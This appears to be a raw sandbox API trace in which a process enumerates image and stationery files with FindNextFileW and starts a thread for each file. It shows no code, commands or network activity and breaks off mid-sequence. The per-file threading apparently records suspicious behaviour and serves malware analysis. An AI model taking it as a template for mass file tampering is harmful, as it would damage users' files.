	[0159.039] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce04b5c8, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe7, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Garden.htm", cAlternateFileName="")) returned 1
	[0159.039] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.040] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c
	[0159.041] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.041] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2acb98, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2acb98, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa410937, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x5d3f, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Garden.jpg", cAlternateFileName="")) returned 1
	[0159.041] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.042] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550
	[0159.044] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.045] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50881ad, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50881ad, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x444efb5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1594, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Genko_1.emf", cAlternateFileName="")) returned 1
	[0159.045] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554
	[0159.047] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.047] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc50d4467, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc50d4467, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44515cbd, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2864, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Genko_2.emf", cAlternateFileName="")) returned 1
	[0159.047] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558
	[0159.049] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.050] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5120721, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5120721, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c7f4, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Graph.emf", cAlternateFileName="")) returned 1
	[0159.050] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.051] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c
	[0159.053] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.054] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2d2cf5, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2d2cf5, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce071725, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Green Bubbles.htm", cAlternateFileName="")) returned 1
	[0159.054] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.055] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560
	[0159.056] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.057] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce2f8e52, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce2f8e52, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa436a95, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1906, dwReserved0=0x7c, dwReserved1=0x0, cFileName="GreenBubbles.jpg", cAlternateFileName="")) returned 1
	[0159.057] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.058] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564
	[0159.060] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.060] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fc9adc, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fc9adc, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4453be1b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb68, dwReserved0=0x7c, dwReserved1=0x0, cFileName="grid_(cm).wmf", cAlternateFileName="")) returned 1
	[0159.060] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.061] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568
	[0159.063] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.064] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4fa397f, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4fa397f, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44692a69, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1d4a, dwReserved0=0x7c, dwReserved1=0x0, cFileName="grid_(inch).wmf", cAlternateFileName="")) returned 1
	[0159.064] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.064] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c
	[0159.066] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.067] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0bd9df, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Hand Prints.htm", cAlternateFileName="")) returned 1
	[0159.067] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.067] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570
	[0159.375] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.376] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa45cbf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x107e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="HandPrints.jpg", cAlternateFileName="")) returned 1
	[0159.376] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574
	[0159.378] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.378] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5192b38, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5192b38, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4480f815, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x252ec, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Memo.emf", cAlternateFileName="")) returned 1
	[0159.378] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578
	[0159.381] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.381] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e4cd3a, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4e4cd3a, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44835973, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8a1, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Monet.jpg", cAlternateFileName="")) returned 1
	[0159.381] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c
	[0159.383] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.384] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc51dedf2, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc51dedf2, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x1060, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Month_Calendar.emf", cAlternateFileName="")) returned 1
	[0159.384] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x580
	[0159.386] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.387] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc522b0ac, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc522b0ac, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x448cdeeb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x65b4, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Music.emf", cAlternateFileName="")) returned 1
	[0159.387] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x584
	[0159.389] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.389] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4ebf151, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4ebf151, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b2f4cb, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Notebook.jpg", cAlternateFileName="")) returned 1
	[0159.389] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588
	[0159.392] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.393] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce31efaf, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce31efaf, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce0e3b3c, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xed, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Orange Circles.htm", cAlternateFileName="")) returned 1
	[0159.393] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c
	[0159.395] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.396] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa4cf00d, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x18ed, dwReserved0=0x7c, dwReserved1=0x0, cFileName="OrangeCircles.jpg", cAlternateFileName="")) returned 1
	[0159.396] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.397] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590
	[0159.399] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.399] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce34510c, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce34510c, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce109c99, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe8, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Peacock.htm", cAlternateFileName="")) returned 1
	[0159.399] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.400] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594
	[0159.402] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.403] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1
	[0159.403] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.404] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598
	[0159.405] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.405] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f0b40b, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f0b40b, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44b55629, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Pine_Lumber.jpg", cAlternateFileName="")) returned 1
	[0159.405] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.406] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c
	[0159.408] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.409] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f31568, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f31568, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Pretty_Peacock.jpg", cAlternateFileName="")) returned 1
	[0159.409] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.410] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0
	[0159.678] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.679] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4f7d822, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc4f7d822, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x44bc7a43, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36e1, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Psychedelic.jpg", cAlternateFileName="")) returned 1
	[0159.679] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.680] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4
	[0159.682] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.682] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3913c6, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3913c6, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xce12fdf6, ftLastWriteTime.dwHighDateTime=0x1ca040d, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Roses.htm", cAlternateFileName="")) returned 1
	[0159.682] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.683] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8
	[0159.685] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.686] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce3b7523, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xce3b7523, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xaa567585, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x780, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Roses.jpg", cAlternateFileName="")) returned 1
	[0159.686] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.687] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac
	[0159.688] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.689] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc53cdfab, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc53cdfab, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x45148cd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Sand_Paper.jpg", cAlternateFileName="")) returned 1
	[0159.689] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0159.690] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0
	[0159.691] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0159.691] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5277366, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5277366, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4516ee37, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x91c4, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Seyes.emf", cAlternateFileName="")) returned 1
	[0159.691] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
